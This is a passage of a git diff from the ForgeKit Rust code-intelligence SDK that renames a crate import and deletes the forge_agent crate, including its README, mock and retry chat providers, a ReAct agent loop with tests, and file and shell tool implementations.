END) * 100.0 / COUNT(*), 1 -) FROM fix_chains; - --- Token efficiency by tool category -SELECT tool_category, SUM(input_tokens_est), COUNT(*) -FROM tool_calls WHERE session_id IN (SELECT session_id FROM sessions WHERE project = ?) -GROUP BY tool_category; - --- Cost per production LOC -SELECT total_api_cost_usd * 1000.0 / NULLIF(production_loc, 0) -FROM releases WHERE project = ?; - --- LOC survival rate -SELECT SUM(lines_inserted), SUM(lines_deleted) -FROM commits WHERE commit_type = 'feature'; - --- Time to fix by severity -SELECT severity, AVG(time_to_fix_ms) / 60000.0 -FROM fix_chains GROUP BY severity; -``` diff --git a/examples/magellan_v3_example.rs b/examples/magellan_v3_example.rs index c33e10c..bd1ed9e 100644 --- a/examples/magellan_v3_example.rs +++ b/examples/magellan_v3_example.rs @@ -2,7 +2,7 @@ //! //! This demonstrates the native V3 backend integration for code intelligence. -use forge_core::Forge; +use forgekit_core::Forge; #[tokio::main] async fn main() -> anyhow::Result<()> { @@ -46,7 +46,7 @@ async fn main() -> anyhow::Result<()> { #[cfg(test)] mod tests { - use forge_core::{Forge, types::*}; + use forgekit_core::{Forge, types::*}; #[tokio::test] async fn test_v3_backend_large_symbol() { diff --git a/forge_agent/README.md b/forge_agent/README.md deleted file mode 100644 index daa9ad4..0000000 --- a/forge_agent/README.md +++ /dev/null @@ -1,173 +0,0 @@ -# ForgeKit - Deterministic Code Intelligence SDK - -[![Crates.io](https://img.shields.io/crates/v/forge-core)](https://crates.io/crates/forge-core) -[![Documentation](https://docs.rs/forge-core/badge.svg)](https://docs.rs/forge-core) -[![License: GPL-3.0](https://img.shields.io/badge/License-GPL%203.0-blue.svg)](https://opensource.org/licenses/GPL-3.0) - -ForgeKit provides a unified SDK for code intelligence operations, integrating multiple tools into a single API with support for both SQLite and Native V3 backends. - -## Features - -- **πŸ” Graph Queries**: Symbol lookup, reference tracking, call graph navigation -- **πŸ”Ž Semantic Search**: Pattern-based code search via LLMGrep integration -- **🌳 Control Flow Analysis**: CFG construction and analysis via Mirage -- **✏️ Safe Code Editing**: Span-safe refactoring via Splice -- **πŸ“Š Dual Backend Support**: SQLite (stable) or Native V3 (high performance) -- **πŸ“‘ Pub/Sub Events**: Real-time notifications for code changes -- **⚑ Async-First**: Built on Tokio for async/await support - -## Quick Start - -```rust -use forge_core::{Forge, BackendKind}; - -#[tokio::main] -async fn main() -> anyhow::Result<()> { - // Open a codebase with default backend (SQLite) - let forge = Forge::open("./my-project").await?; - - // Or use Native V3 backend for better performance - let forge = Forge::open_with_backend("./my-project", BackendKind::NativeV3).await?; - - // Find symbols - let symbols = forge.graph().find_symbol("main").await?; - println!("Found: {:?}", symbols); - - // Search code - let results = forge.search().pattern("fn.*test").await?; - - Ok(()) -} -``` - -## Installation - -Add to your `Cargo.toml`: - -```toml -[dependencies] -forge-core = "0.2" -``` - -### Feature Flags - -ForgeKit uses feature flags for flexible backend and tool selection: - -**Storage Backends:** -- `sqlite` - SQLite backend (default) -- `native-v3` - Native V3 high-performance backend - -**Tool Integrations (per-backend):** -- `magellan-sqlite` / `magellan-v3` - Code indexing -- `llmgrep-sqlite` / `llmgrep-v3` - Semantic search -- `mirage-sqlite` / `mirage-v3` - CFG analysis -- `splice-sqlite` / `splice-v3` - Code editing - -**Convenience Groups:** -- `tools-sqlite` - All tools with SQLite -- `tools-v3` - All tools with V3 -- `full-sqlite` - Everything with SQLite -- `full-v3` - Everything with V3 - -### Examples - -```toml -# Default: SQLite backend with all tools -forge-core = "0.2" - -# Native V3 backend with all tools -forge-core = { version = "0.2", features = ["full-v3"] } - -# Mix and match: Magellan with V3, LLMGrep with SQLite -forge-core = { version = "0.2", features = ["magellan-v3", "llmgrep-sqlite"] } -``` - -## Workspace Structure - -ForgeKit is organized as a workspace with three crates: - -| Crate | Purpose | Documentation | -|-------|---------|---------------| -| `forge_core` | Core SDK with graph, search, CFG, and edit APIs | [API Docs](docs/API.md) | -| `forge_runtime` | Indexing, caching, and file watching | [Architecture](docs/ARCHITECTURE.md) | -| `forge_agent` | Deterministic AI agent loop | [Manual](docs/MANUAL.md) | - -## Backend Comparison - -| Feature | SQLite | Native V3 | -|---------|--------|-----------| -| ACID Transactions | βœ… Full | βœ… WAL-based | -| Raw SQL Access | βœ… Yes | ❌ No | -| Dependencies | libsqlite3 | Pure Rust | -| Performance | Fast | **10-20x faster** | -| Pub/Sub | βœ… Yes | βœ… Yes | -| Tool Compatibility | All tools | All tools (v2.0.5+) | - -**Recommendation:** Use Native V3 for new projects. Use SQLite if you need raw SQL access. - -## Pub/Sub (Real-time Events) - -ForgeKit supports real-time event notifications for code changes: - -```rust -use forge_core::{Forge, BackendKind}; -use std::sync::mpsc; - -#[tokio::main] -async fn main() -> anyhow::Result<()> { - let forge = Forge::open_with_backend("./project", BackendKind::NativeV3).await?; - - // Subscribe to node changes - let (id, rx) = forge.subscribe( - SubscriptionFilter::nodes_only() - ).await?; - - // Receive events in a separate task - tokio::spawn(async move { - while let Ok(event) = rx.recv() { - println!("Code changed: {:?}", event); - } - }); - - Ok(()) -} -``` - -### Event Types - -- `NodeChanged` - Symbol created or modified -- `EdgeChanged` - Reference/call created or modified -- `KVChanged` - Key-value store entry changed -- `SnapshotCommitted` - Transaction committed - -## Documentation - -- **[API Reference](docs/API.md)** - Complete API documentation -- **[Architecture](docs/ARCHITECTURE.md)** - System design and internals -- **[Manual](docs/MANUAL.md)** - User guide and tutorials -- **[Contributing](docs/CONTRIBUTING.md)** - Contribution guidelines -- **[Changelog](CHANGELOG.md)** - Version history - -## Tool Integrations - -ForgeKit integrates with these code intelligence tools: - -| Tool | Purpose | Backend Support | -|------|---------|-----------------| -| [magellan](https://github.com/oldnordic/magellan) | Code indexing and graph queries | SQLite, V3 | -| [llmgrep](https://github.com/oldnordic/llmgrep) | Semantic code search | SQLite, V3 | -| [mirage-analyzer](https://crates.io/crates/mirage-analyzer) | CFG analysis | SQLite, V3 | -| [splice](https://github.com/oldnordic/splice) | Span-safe editing | SQLite, V3 | - -## License - -This project is licensed under the GPL-3.0 License - see the [LICENSE](LICENSE) file for details. - -## Support - -- Issues: [GitHub Issues](https://github.com/oldnordic/forge/issues) -- Discussions: [GitHub Discussions](https://github.com/oldnordic/forge/discussions) - ---- - -**Note:** This is an early-stage project. APIs may change until v1.0. \ No newline at end of file diff --git a/forge_agent/src/chat/mod.rs b/forge_agent/src/chat/mod.rs deleted file mode 100644 index ec63606..0000000 --- a/forge_agent/src/chat/mod.rs +++ /dev/null @@ -1,31 +0,0 @@ -pub mod conversation; -pub mod providers; -pub mod react; -pub mod stream; -pub mod tools; -pub mod types; - -pub use conversation::Conversation; -#[cfg(feature = "llm-anthropic")] -pub use providers::AnthropicChatProvider; -#[cfg(feature = "llm-ollama")] -pub use providers::OllamaChatProvider; -#[cfg(feature = "llm-openai")] -pub use providers::OpenAiChatProvider; -pub use providers::{ChatProvider, LlmProviderAdapter, MockChatProvider, RetryProvider}; -pub use react::{AgentError, ReActLoop}; -pub use stream::StreamEvent; -pub use tools::{ - default_builtin_tools, AsyncTool, BuiltinToolRegistry, FileReadTool, FileWriteTool, - ShellExecTool, ToolCall, ToolDef, ToolOutput, ToolRegistry, -}; -pub use types::{ChatMessage, ChatResponse, ContentBlock, LlmError, Role, Usage}; - -#[cfg(test)] -mod react_tests; - -#[cfg(test)] -mod stream_tests; - -#[cfg(test)] -mod types_tests; diff --git a/forge_agent/src/chat/providers/mock.rs b/forge_agent/src/chat/providers/mock.rs deleted file mode 100644 index a783e37..0000000 --- a/forge_agent/src/chat/providers/mock.rs +++ /dev/null @@ -1,99 +0,0 @@ -use crate::chat::providers::ChatProvider; -use crate::chat::tools::types::ToolDef; -use crate::chat::types::{ChatMessage, ChatResponse, ContentBlock, LlmError, Usage}; -use crate::llm::LlmConfig; -use async_trait::async_trait; -use std::sync::Mutex; - -enum MockResponse { - Text(String), - ToolCalls(Vec<(String, serde_json::Value)>), - Error(LlmError), -} - -pub struct MockChatProvider { - responses: Mutex>, - default_text: String, -} - -impl MockChatProvider { - pub fn from_text(text: impl Into) -> Self { - MockChatProvider { - responses: Mutex::new(Vec::new()), - default_text: text.into(), - } - } - - pub fn with_tool_call(self, name: impl Into, args: serde_json::Value) -> Self { - self.responses - .lock() - .expect("invariant: mock lock") - .push(MockResponse::ToolCalls(vec![(name.into(), args)])); - self - } - - pub fn with_text(self, text: impl Into) -> Self { - self.responses - .lock() - .expect("invariant: mock lock") - .push(MockResponse::Text(text.into())); - self - } - - pub fn with_error(self, error: LlmError) -> Self { - self.responses - .lock() - .expect("invariant: mock lock") - .push(MockResponse::Error(error)); - self - } - - fn next_response(&self) -> MockResponse { - let mut responses = self.responses.lock().expect("invariant: mock lock"); - if responses.is_empty() { - MockResponse::Text(self.default_text.clone()) - } else { - responses.remove(0) - } - } -} - -#[async_trait] -impl ChatProvider for MockChatProvider { - async fn chat( - &self, - _messages: &[ChatMessage], - _tools: &[ToolDef], - _config: &LlmConfig, - ) -> Result { - match self.next_response() { - MockResponse::Text(text) => Ok(ChatResponse { - message: ChatMessage::assistant(text), - usage: Usage::default(), - model: "mock".to_string(), - finish_reason: Some("stop".to_string()), - }), - MockResponse::ToolCalls(calls) => { - let mut call_index = 0u32; - let content: Vec = calls - .into_iter() - .map(|(name, args)| { - let id = format!("mock_call_{}", call_index); - call_index += 1; - ContentBlock::tool_call(id, name, args) - }) - .collect(); - Ok(ChatResponse { - message: ChatMessage { - role: crate::chat::types::Role::Assistant, - content, - }, - usage: Usage::default(), - model: "mock".to_string(), - finish_reason: Some("tool_calls".to_string()), - }) - } - MockResponse::Error(err) => Err(err), - } - } -} diff --git a/forge_agent/src/chat/providers/retry.rs b/forge_agent/src/chat/providers/retry.rs deleted file mode 100644 index fa4f6fa..0000000 --- a/forge_agent/src/chat/providers/retry.rs +++ /dev/null @@ -1,148 +0,0 @@ -use crate::chat::providers::ChatProvider; -use crate::chat::stream::StreamEvent; -use crate::chat::tools::types::ToolDef; -use crate::chat::types::{ChatMessage, ChatResponse, LlmError}; -use crate::llm::LlmConfig; -use async_trait::async_trait; -use futures::Stream; -use std::pin::Pin; -use std::time::Duration; -use tokio::time::sleep; - -pub struct RetryProvider { - inner: Box, - max_retries: u32, - base_delay: Duration, -} - -impl RetryProvider { - pub fn new(inner: Box, max_retries: u32) -> Self { - RetryProvider { - inner, - max_retries, - base_delay: Duration::from_secs(1), - } - } - - pub fn with_base_delay(mut self, delay: Duration) -> Self { - self.base_delay = delay; - self - } -} - -#[async_trait] -impl ChatProvider for RetryProvider { - async fn chat( - &self, - messages: &[ChatMessage], - tools: &[ToolDef], - config: &LlmConfig, - ) -> Result { - let mut last_error = None; - - for attempt in 0..=self.max_retries { - match self.inner.chat(messages, tools, config).await { - Ok(response) => return Ok(response), - Err(LlmError::RateLimited { retry_after }) => { - if attempt >= self.max_retries { - return Err(LlmError::RateLimited { retry_after }); - } - let delay = retry_after - .map(Duration::from_secs) - .unwrap_or_else(|| self.base_delay * 2u32.saturating_pow(attempt)); - sleep(delay).await; - } - Err(LlmError::Http(msg)) => { - if attempt >= self.max_retries { - return Err(LlmError::Http(msg)); - } - if msg.contains("connection") || msg.contains("timeout") { - let delay = self.base_delay * 2u32.saturating_pow(attempt); - sleep(delay).await; - } else { - return Err(LlmError::Http(msg)); - } - } - Err(e) => { - last_error = Some(e); - break; - } - } - } - - Err(last_error.unwrap_or(LlmError::Provider("retry exhausted".to_string()))) - } - - fn chat_stream( - &self, - messages: &[ChatMessage], - tools: &[ToolDef], - config: &LlmConfig, - ) -> Pin + Send>> { - self.inner.chat_stream(messages, tools, config) - } -} - -#[cfg(test)] -mod tests { - use super::*; - use crate::chat::providers::mock::MockChatProvider; - - #[tokio::test] - async fn retry_succeeds_after_rate_limit() { - let provider = MockChatProvider::from_text("success") - .with_error(LlmError::RateLimited { retry_after: None }); - let retry = RetryProvider::new(Box::new(provider), 2); - let config = LlmConfig::new("test"); - let messages = vec![ChatMessage::user("hi")]; - - let result = retry.chat(&messages, &[], &config).await; - assert!(result.is_ok()); - assert_eq!(result.unwrap().message.text(), Some("success")); - } - - #[tokio::test] - async fn retry_exhausted_returns_rate_limit() { - let provider = MockChatProvider::from_text("never reached") - .with_error(LlmError::RateLimited { retry_after: None }) - .with_error(LlmError::RateLimited { retry_after: None }); - let retry = - RetryProvider::new(Box::new(provider), 1).with_base_delay(Duration::from_millis(10)); - let config = LlmConfig::new("test"); - let messages = vec![ChatMessage::user("hi")]; - - let result = retry.chat(&messages, &[], &config).await; - assert!(result.is_err()); - match result.unwrap_err() { - LlmError::RateLimited { .. } => {} - other => panic!("expected RateLimited, got {other}"), - } - } - - #[tokio::test] - async fn retry_no_retry_on_parse_error() { - let provider = - MockChatProvider::from_text("ok").with_error(LlmError::Parse("bad json".to_string())); - let retry = RetryProvider::new(Box::new(provider), 3); - let config = LlmConfig::new("test"); - let messages = vec![ChatMessage::user("hi")]; - - let result = retry.chat(&messages, &[], &config).await; - assert!(result.is_err()); - match result.unwrap_err() { - LlmError::Parse(msg) => assert_eq!(msg, "bad json"), - other => panic!("expected Parse, got {other}"), - } - } - - #[tokio::test] - async fn retry_succeeds_first_try() { - let provider = MockChatProvider::from_text("immediate"); - let retry = RetryProvider::new(Box::new(provider), 3); - let config = LlmConfig::new("test"); - let messages = vec![ChatMessage::user("hi")]; - - let result = retry.chat(&messages, &[], &config).await; - assert_eq!(result.unwrap().message.text(), Some("immediate")); - } -} diff --git a/forge_agent/src/chat/react.rs b/forge_agent/src/chat/react.rs deleted file mode 100644 index 6e90e04..0000000 --- a/forge_agent/src/chat/react.rs +++ /dev/null @@ -1,97 +0,0 @@ -use std::sync::Arc; - -use crate::chat::providers::ChatProvider; -use crate::chat::tools::registry::ToolRegistry; -use crate::chat::tools::types::ToolCall; -use crate::chat::types::{ChatMessage, ContentBlock, LlmError}; -use crate::llm::LlmConfig; - -#[derive(Debug, thiserror::Error)] -pub enum AgentError { - #[error("maximum iterations exceeded")] - MaxIterations, - - #[error("provider error: {0}")] - Provider(#[from] LlmError), - - #[error("tool error: {0}")] - Tool(String), -} - -pub struct ReActLoop { - provider: Arc, - registry: R, - config: LlmConfig, - max_iterations: usize, - system_prompt: Option, -} - -impl ReActLoop { - pub fn new(provider: Arc, registry: R, config: LlmConfig) -> Self { - ReActLoop { - provider, - registry, - config, - max_iterations: 10, - system_prompt: None, - } - } - - pub fn with_max_iterations(mut self, n: usize) -> Self { - self.max_iterations = n; - self - } - - pub fn with_system_prompt(mut self, prompt: impl Into) -> Self { - self.system_prompt = Some(prompt.into()); - self - } - - pub async fn run(&self, prompt: &str) -> Result { - let mut conversation = crate::chat::conversation::Conversation::new(); - if let Some(ref prompt) = self.system_prompt { - conversation.push(ChatMessage::system(prompt.clone())); - } - conversation.push(ChatMessage::user(prompt)); - - for _ in 0..self.max_iterations { - let tools = self.registry.definitions(); - let response = self - .provider - .chat(conversation.messages(), &tools, &self.config) - .await?; - - conversation.push(response.message.clone()); - - if !response.message.has_tool_calls() { - return Ok(response.message.text().unwrap_or_default().to_string()); - } - - for block in &response.message.content { - if let ContentBlock::ToolCall { - id, - name, - arguments, - } = block - { - let call = ToolCall::new(id.clone(), name.clone(), arguments.clone()); - let output = self.registry.execute(&call).await; - - if output.is_error { - conversation.push(ChatMessage::tool_error( - &output.tool_call_id, - &output.content, - )); - } else { - conversation.push(ChatMessage::tool_result( - &output.tool_call_id, - &output.content, - )); - } - } - } - } - - Err(AgentError::MaxIterations) - } -} diff --git a/forge_agent/src/chat/react_tests.rs b/forge_agent/src/chat/react_tests.rs deleted file mode 100644 index 9d8bf3b..0000000 --- a/forge_agent/src/chat/react_tests.rs +++ /dev/null @@ -1,244 +0,0 @@ -use std::sync::Arc; - -use crate::chat::providers::mock::MockChatProvider; -use crate::chat::react::{AgentError, ReActLoop}; -use crate::chat::tools::registry::BuiltinToolRegistry; -use crate::chat::tools::types::ToolDef; -use crate::llm::LlmConfig; -use async_trait::async_trait; -struct EchoTool; - -#[async_trait] -impl crate::chat::tools::registry::AsyncTool for EchoTool { - async fn call(&self, args: serde_json::Value) -> Result { - let msg = args["msg"].as_str().unwrap_or(""); - Ok(format!("Echo: {msg}")) - } - - fn definition(&self) -> ToolDef { - ToolDef::new( - "echo", - "Echo back the message", - serde_json::json!({"type": "object", "properties": {"msg": {"type": "string"}}, "required": ["msg"]}), - ) - } -} - -fn echo_registry() -> BuiltinToolRegistry { - let mut reg = BuiltinToolRegistry::new(); - reg.register(Box::new(EchoTool)); - reg -} - -#[tokio::test] -async fn react_text_only_no_tools() { - let provider = MockChatProvider::from_text("Hello world"); - let registry = BuiltinToolRegistry::new(); - let config = LlmConfig::new("test-model"); - - let react = ReActLoop::new(Arc::new(provider), registry, config); - let result = react.run("Say hello").await; - - assert_eq!(result.unwrap(), "Hello world"); -} - -#[tokio::test] -async fn react_tool_call_then_answer() { - let provider = MockChatProvider::from_text("final answer") - .with_tool_call("echo", serde_json::json!({"msg": "hi"})); - let registry = echo_registry(); - let config = LlmConfig::new("test-model"); - - let react = ReActLoop::new(Arc::new(provider), registry, config); - let result = react.run("Echo hi").await; - - assert_eq!(result.unwrap(), "final answer"); -} - -#[tokio::test] -async fn react_multi_step_tool_calls() { - let provider = MockChatProvider::from_text("done") - .with_tool_call("echo", serde_json::json!({"msg": "step 1"})) - .with_tool_call("echo", serde_json::json!({"msg": "step 2"})); - let registry = echo_registry(); - let config = LlmConfig::new("test-model"); - - let react = ReActLoop::new(Arc::new(provider), registry, config); - let result = react.run("Multi-step").await; - - assert_eq!(result.unwrap(), "done"); -} - -#[tokio::test] -async fn react_max_iterations_exceeded() { - let provider = MockChatProvider::from_text("never finish") - .with_tool_call("echo", serde_json::json!({"msg": "loop"})) - .with_tool_call("echo", serde_json::json!({"msg": "loop"})) - .with_tool_call("echo", serde_json::json!({"msg": "loop"})); - let registry = echo_registry(); - let config = LlmConfig::new("test-model"); - - let react = ReActLoop::new(Arc::new(provider), registry, config).with_max_iterations(2); - let result = react.run("Infinite loop").await; - - match result.unwrap_err() { - AgentError::MaxIterations => {} - other => panic!("expected MaxIterations, got {other}"), - } -} - -#[tokio::test] -async fn react_provider_error_propagates() { - let provider = MockChatProvider::from_text("ok").with_error( - crate::chat::types::LlmError::Http("connection failed".to_string()), - ); - let registry = BuiltinToolRegistry::new(); - let config = LlmConfig::new("test-model"); - - let react = ReActLoop::new(Arc::new(provider), registry, config); - let result = react.run("Test").await; - - match result.unwrap_err() { - AgentError::Provider(err) => { - assert!(err.to_string().contains("connection failed")); - } - other => panic!("expected Provider error, got {other}"), - } -} - -#[tokio::test] -async fn react_tool_error_feeds_back() { - struct FailTool; - - #[async_trait] - impl crate::chat::tools::registry::AsyncTool for FailTool { - async fn call(&self, _args: serde_json::Value) -> Result { - Err("tool exploded".to_string()) - } - - fn definition(&self) -> ToolDef { - ToolDef::empty("fail", "Always fails") - } - } - - let mut reg = BuiltinToolRegistry::new(); - reg.register(Box::new(FailTool)); - - let provider = MockChatProvider::from_text("I see the error") - .with_tool_call("fail", serde_json::json!({})); - let config = LlmConfig::new("test-model"); - - let react = ReActLoop::new(Arc::new(provider), reg, config); - let result = react.run("Try failing tool").await; - - assert_eq!(result.unwrap(), "I see the error"); -} - -#[tokio::test] -async fn react_custom_system_prompt() { - let provider = MockChatProvider::from_text("custom response"); - let registry = BuiltinToolRegistry::new(); - let config = LlmConfig::new("test-model"); - - let react = ReActLoop::new(Arc::new(provider), registry, config) - .with_system_prompt("You are a test assistant"); - let result = react.run("Test").await; - - assert_eq!(result.unwrap(), "custom response"); -} - -#[tokio::test] -async fn react_no_tool_calls_returns_immediately() { - let provider = MockChatProvider::from_text("quick answer"); - let registry = echo_registry(); - let config = LlmConfig::new("test-model"); - - let react = ReActLoop::new(Arc::new(provider), registry, config); - let result = react.run("Direct question").await; - - assert_eq!(result.unwrap(), "quick answer"); -} - -#[cfg(feature = "llm-ollama")] -#[tokio::test] -async fn react_live_ollama_tool_calling() { - let client = reqwest::Client::new(); - let resp = client.get("http://localhost:11434/api/tags").send().await; - if let Err(e) = &resp { - eprintln!("Skipping live ReAct test β€” Ollama not available: {e}"); - return; - } - let resp = resp.expect("checked above"); - if !resp.status().is_success() { - eprintln!("Skipping live ReAct test β€” Ollama tags endpoint failed"); - return; - } - let body = resp.text().await.unwrap_or_default(); - if !body.contains("qwen3.5-agent") { - eprintln!("Skipping live ReAct test β€” qwen3.5-agent model not found"); - return; - } - - use crate::chat::providers::ollama::OllamaChatProvider; - use crate::chat::tools::registry::AsyncTool; - - struct LiveFileReadTool; - - #[async_trait] - impl AsyncTool for LiveFileReadTool { - async fn call(&self, args: serde_json::Value) -> Result { - let path = args["path"].as_str().unwrap_or(""); - if path.is_empty() { - return Err("path is required".to_string()); - } - tokio::fs::read_to_string(path) - .await - .map_err(|e| format!("Failed to read {}: {}", path, e)) - } - - fn definition(&self) -> ToolDef { - ToolDef::new( - "file_read", - "Read the contents of a file at the given path", - serde_json::json!({ - "type": "object", - "properties": { - "path": {"type": "string", "description": "Absolute or relative file path"} - }, - "required": ["path"] - }), - ) - } - } - - let mut registry = BuiltinToolRegistry::new(); - registry.register(Box::new(LiveFileReadTool)); - - let provider = OllamaChatProvider::local(); - let config = LlmConfig::new("qwen3.5-agent:latest").with_temperature(0.1); - - let react = ReActLoop::new(Arc::new(provider), registry, config) - .with_max_iterations(10) - .with_system_prompt("You are a helpful assistant. Use tools when asked. After getting tool results, give a brief text answer. Do not make additional tool calls after you have the answer."); - - let result = react - .run("Read the file /home/feanor/Projects/forge/Cargo.toml and tell me what the workspace members are. Reply in one short sentence.") - .await; - - match result { - Ok(text) => { - let lower = text.to_lowercase(); - assert!( - lower.contains("forge") || lower.contains("member") || lower.contains("workspace"), - "Expected response about workspace members, got: {text}" - ); - eprintln!("Live ReAct SUCCESS: {text}"); - } - Err(AgentError::MaxIterations) => { - panic!("Live ReAct hit max iterations β€” tool results may not be reaching the model. Check convert_message for ToolResult handling."); - } - Err(e) => { - panic!("Live ReAct unexpected error: {e}"); - } - } -} diff --git a/forge_agent/src/chat/tools/builtins.rs b/forge_agent/src/chat/tools/builtins.rs deleted file mode 100644 index 023ccf3..0000000 --- a/forge_agent/src/chat/tools/builtins.rs +++ /dev/null @@ -1,218 +0,0 @@ -use super::registry::AsyncTool; -use super::types::ToolDef; -use async_trait::async_trait; - -fn validate_path(working_dir: &std::path::Path, path: &str) -> Result { - if path.contains('\0') { - return Err(format!("Path contains null bytes: {path}")); - } - if path.starts_with('/') || path.starts_with('\\') { - return Err(format!("Absolute paths not allowed: {path}")); - } - for component in std::path::Path::new(path).components() { - match component { - std::path::Component::ParentDir => { - return Err(format!("Path traversal not allowed: {path}")); - } - std::path::Component::RootDir | std::path::Component::Prefix(_) => { - return Err(format!("Absolute paths not allowed: {path}")); - } - std::path::Component::CurDir | std::path::Component::Normal(_) => {} - } - } - let full = working_dir.join(path); - let canonical_working = working_dir - .canonicalize() - .unwrap_or_else(|_| working_dir.to_path_buf()); - if let Ok(canonical) = full.canonicalize() { - if !canonical.starts_with(&canonical_working) { - return Err(format!( - "Path escapes working directory: {} (resolved to {})", - path, - canonical.display() - )); - } - } - Ok(full) -} - -pub struct FileReadTool { - working_dir: std::path::PathBuf, -} - -impl FileReadTool { - pub fn new(working_dir: impl Into) -> Self { - FileReadTool { - working_dir: working_dir.into(), - } - } -} - -#[async_trait] -impl AsyncTool for FileReadTool { - async fn call(&self, arguments: serde_json::Value) -> Result { - let path = arguments["path"] - .as_str() - .ok_or_else(|| "Missing 'path' parameter".to_string())?; - let full = validate_path(&self.working_dir, path)?; - tokio::fs::read_to_string(&full) - .await - .map_err(|e| format!("Failed to read {}: {e}", full.display())) - } - - fn definition(&self) -> ToolDef { - ToolDef::new( - "file_read", - "Read the contents of a file. Path is relative to the project root.", - serde_json::json!({ - "type": "object", - "properties": { - "path": { - "type": "string", - "description": "Relative path to the file" - } - }, - "required": ["path"] - }), - ) - } -} - -pub struct FileWriteTool { - working_dir: std::path::PathBuf, -} - -impl FileWriteTool { - pub fn new(working_dir: impl Into) -> Self { - FileWriteTool { - working_dir: working_dir.into(), - } - } -} - -#[async_trait] -impl AsyncTool for FileWriteTool { - async fn call(&self, arguments: serde_json::Value) -> Result { - let path = arguments["path"] - .as_str() - .ok_or_else(|| "Missing 'path' parameter".to_string())?; - let content = arguments["content"] - .as_str() - .ok_or_else(|| "Missing 'content' parameter".to_string())?; - let full = validate_path(&self.working_dir, path)?; - if let Some(parent) = full.parent() { - tokio::fs::create_dir_all(parent) - .await - .map_err(|e| format!("Failed to create directory: {e}"))?; - } - tokio::fs::write(&full, content) - .await - .map_err(|e| format!("Failed to write {}: {e}", full.display()))?; - Ok(format!("Wrote {} bytes to {}", content.len(), path)) - } - - fn definition(&self) -> ToolDef { - ToolDef::new( - "file_write", - "Write content to a file. Creates parent directories if needed. Path is relative to project root.", - serde_json::json!({ - "type": "object", - "properties": { - "path": { - "type": "string", - "description": "Relative path to the file" - }, - "content": { - "type": "string", - "description": "Content to write" - } - }, - "required": ["path", "content"] - }), - ) - } -} - -pub struct ShellExecTool { - working_dir: std::path::PathBuf, - timeout_secs: u64, -} - -impl ShellExecTool { - pub fn new(working_dir: impl Into) -> Self { - ShellExecTool { - working_dir: working_dir.into(), - timeout_secs: 30, - } - } - - pub fn with_timeout(mut self, secs: u64) -> Self { - self.timeout_secs = secs; - self - } -} - -#[async_trait] -impl AsyncTool for ShellExecTool { - async fn call(&self, arguments: serde_json::Value) -> Result { - let command = arguments["command"] - .as_str() - .ok_or_else(|| "Missing 'command' parameter".to_string())?; - let result = tokio::time::timeout( - std::time::Duration::from_secs(self.timeout_secs), - tokio::process::Command::new("sh") - .arg("-c") - .arg(command) - .current_dir(&self.working_dir) - .output(), - ) - .await - .map_err(|_| format!("Command timed out after {}s", self.timeout_secs))? - .map_err(|e| format!("Failed to execute command: {e}"))?; - - let stdout = String::from_utf8_lossy(&result.stdout); - let stderr = String::from_utf8_lossy(&result.stderr); - if result.status.success() { - Ok(stdout.to_string()) - } else { - Err(format!( - "Exit code {}: {}{}", - result.status.code().unwrap_or(-1), - stdout, - if stderr.is_empty() { - String::new() - } else { - format!("\nstderr: {stderr}") - } - )) - } - } - - fn definition(&self) -> ToolDef { - ToolDef::new( - "shell_exec", - "Execute a shell command in the project directory. Returns stdout on success, error message on failure.", - serde_json::json!({ - "type": "object", - "properties": { - "command": { - "type": "string", - "description": "Shell command to execute" - } - }, - "required": ["command"] - }), - ) - } -} - -pub fn default_builtin_tools( - working_dir: impl Into, -) -> Vec> { - let dir = working_dir.into(); - vec![ - Box::new(FileReadTool::new(dir.clone())), - Box::new(FileWriteTool::new(dir.clone())), - Box::new(ShellExecTool::new(dir)), - ] -} diff --git a/forge_agent/src/chat/tools/mod.rs b/forge_agent/src/chat/tools/mod.rs deleted file mode 100644 index 6b6baa8..0000000 --- a/forge_agent/src/chat/tools/mod.rs +++ /dev/null @@ -1,12 +0,0 @@ -pub mod builtins; -pub mod registry; -pub mod types; -pub mod validation; - -pub use builtins::{default_builtin_tools, FileReadTool, FileWriteTool, ShellExecTool}; -pub use registry::{AsyncTool, BuiltinToolRegistry, ToolRegistry}; -pub use types::{ToolCall, ToolDef, ToolOutput}; -pub use validation::validate_tool_arguments; - -#[cfg(test)] -mod tests; diff --git a/forge_agent/src/chat/tools/tests.rs b/forge_agent/src/chat/tools/tests.rs deleted file mode 100644 index 4aa0a78..0000000 --- a/forge_agent/src/chat/tools/tests.rs +++ /dev/null @@ -1,183 +0,0 @@ -use crate::chat::tools::builtins::{FileReadTool, FileWriteTool, ShellExecTool}; -use crate::chat::tools::registry::{AsyncTool, BuiltinToolRegistry, ToolRegistry}; -use crate::chat::tools::types::{ToolCall, ToolDef, ToolOutput}; - -#[test] -fn tool_def_construction() { - let def = ToolDef::new( - "my_tool", - "Does something useful", - serde_json::json!({"type": "object", "properties": {"x": {"type": "integer"}}}), - ); - assert_eq!(def.name, "my_tool"); - assert_eq!(def.description, "Does something useful"); - assert_eq!(def.parameters["properties"]["x"]["type"], "integer"); -} - -#[test] -fn tool_def_empty_has_empty_properties() { - let def = ToolDef::empty("noop", "Does nothing"); - assert_eq!(def.parameters["properties"].as_object().unwrap().len(), 0); -} - -#[test] -fn tool_call_construction() { - let call = ToolCall::new("c1", "file_read", serde_json::json!({"path": "a.rs"})); - assert_eq!(call.id, "c1"); - assert_eq!(call.name, "file_read"); - assert_eq!(call.arguments["path"], "a.rs"); -} - -#[test] -fn tool_output_success() { - let out = ToolOutput::success("c1", "file contents"); - assert!(!out.is_error); - assert_eq!(out.content, "file contents"); - assert_eq!(out.tool_call_id, "c1"); -} - -#[test] -fn tool_output_error() { - let out = ToolOutput::error("c1", "file not found"); - assert!(out.is_error); - assert_eq!(out.content, "file not found"); -} - -#[test] -fn tool_def_serde_roundtrip() { - let def = ToolDef::new("t", "desc", serde_json::json!({"type": "object"})); - let json = serde_json::to_string(&def).expect("serialize"); - let back: ToolDef = serde_json::from_str(&json).expect("deserialize"); - assert_eq!(def, back); -} - -#[tokio::test] -async fn registry_unknown_tool_returns_error() { - let registry = BuiltinToolRegistry::new(); - let call = ToolCall::new("c1", "nonexistent", serde_json::json!({})); - let output = registry.execute(&call).await; - assert!(output.is_error); - assert!(output.content.contains("Unknown tool")); -} - -#[tokio::test] -async fn registry_has_tool() { - let mut registry = BuiltinToolRegistry::new(); - assert!(!registry.has_tool("echo")); - registry.register(Box::new(EchoTool)); - assert!(registry.has_tool("echo")); -} - -#[tokio::test] -async fn registry_definitions() { - let mut registry = BuiltinToolRegistry::new(); - registry.register(Box::new(EchoTool)); - let defs = registry.definitions(); - 